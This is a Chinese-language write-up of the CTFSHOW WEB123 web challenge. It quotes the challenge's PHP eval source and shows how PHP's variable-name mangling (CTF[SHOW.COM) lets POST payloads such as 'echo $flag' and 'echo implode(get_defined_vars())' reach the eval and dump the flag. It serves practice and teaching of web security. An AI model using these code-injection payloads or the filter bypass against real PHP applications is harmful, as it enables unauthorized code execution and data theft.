> 技术文档 > CTFSHOW WEB123

CTFSHOW WEB123

源码

error_reporting(0);highlight_file(__FILE__);include(\"flag.php\");$a=$_SERVER[\'argv\'];$c=$_POST[\'fun\'];if(isset($_POST[\'CTF_SHOW\'])&&isset($_POST[\'CTF_SHOW.COM\'])&&!isset($_GET[\'fl0g\'])){ if(!preg_match(\"/\\\\\\\\|\\/|\\~|\\`|\\!|\\@|\\#|\\%|\\^|\\*|\\-|\\+|\\=|\\{|\\}|\\\"|\\\'|\\,|\\.|\\;|\\?/\", $c)&&$c

这题看了一下,主要就三个点,首先要POST传CTF_SHOW和CTF_SHOW.COM,同时一定要注意,在php8之前,变量名里面的非法字符要替换成下划线,比如空格和 .  同时如果一个变量名里面出现了多个非法字符 php只会将第一个转换为下划线,所以为了让第二个变量名CTF_SHOW.COM正常显示可以将其改为CTF[SHOW.COM(中括号也会转换),转换过滤就是正常的变量名

同时,这一题有多种解法

法一:

 CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

在经过字符匹配过滤之后就会eval执行echo $flag 这个指令,大师傅在课程里面忽略了,都可以echo 1 有回显,为什么不直接echo $flag 呢

法二:

CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo implode(get_defined_vars())

先解释一下这两个函数

implode() : 就是把数组元素**“拼”成一个字符串**

可指定分隔符

$arr = [\'apple\', \'banana\', \'cherry\'];echo implode(\',\', $arr); // 输出:apple,banana,cherry

也可以不带分隔符

$arr = [\'a\', \'b\', \'c\'];echo implode($arr); // 输出:abc

get_defined_vars():返回当前作用域中所有已定义的变量

输出

Array( [a] => 1 [b] => hello [_GET] => Array ( [test] => 123 ) [_POST] => Array ( ) [_SERVER] => Array ( ... ) ...)

用这个方法确实可以拿到flag的值

但是我马上又有了一个新的疑问,为什么会出现这样的结果,为什么只有$flag里面的值出来了,但是其他的数组只显示Array

后来查了手册发现

get_defined_vars() 返回的是一个二维数组(里面既有字符串/数字,也有数组、对象)。
implode() 只能把一维数组拼成字符串;一旦遇到数组元素本身还是数组,PHP 会把它强制转换成字符串 \"Array\",然后继续拼接。

举个例子

$flag = \'ctfshow{412ba911-5504-457c-b9ba-8e4d2978fe70}\';$a = []; // $_SERVER[\'argv\']$c = \'echo implode(get_defined_vars())\';$_POST = [ \'CTF_SHOW\' => \'1\', \'CTF[SHOW.COM\' => \'2\', \'fun\' => \'echo implode(get_defined_vars())\'];// 还有 $_GET、$_SERVER、$_COOKIE … 都是数组

在执行echo implode(get_defined_vars());之后

implode() 按默认空字符串 \"\" 去拼:

  • $flag 直接拼成 ctfshow{...}
    • $a 变成 \"Array\"

    • $c 直接拼成 echoimplode(get_defined_vars())

    • $_POST 又变成 \"Array\"

于是浏览器最终看到的是:ctfshow{412ba911-5504-457c-b9ba-8e4d2978fe70}ArrayArrayArrayechoimplode(get_defined_vars())ArrayArray...

当然,另一个问题:

为什么「看起来只有 flag 出来」?

  • $flag 是唯一纯字符串变量,直接原样输出;

  • 其他元素都是 \"Array\" 或者长字符串,连在一起后:

    • 浏览器只会把第一行/可见部分显示在前面

    • 后面的 \"Array\" 被折叠或忽略,肉眼只看到 flag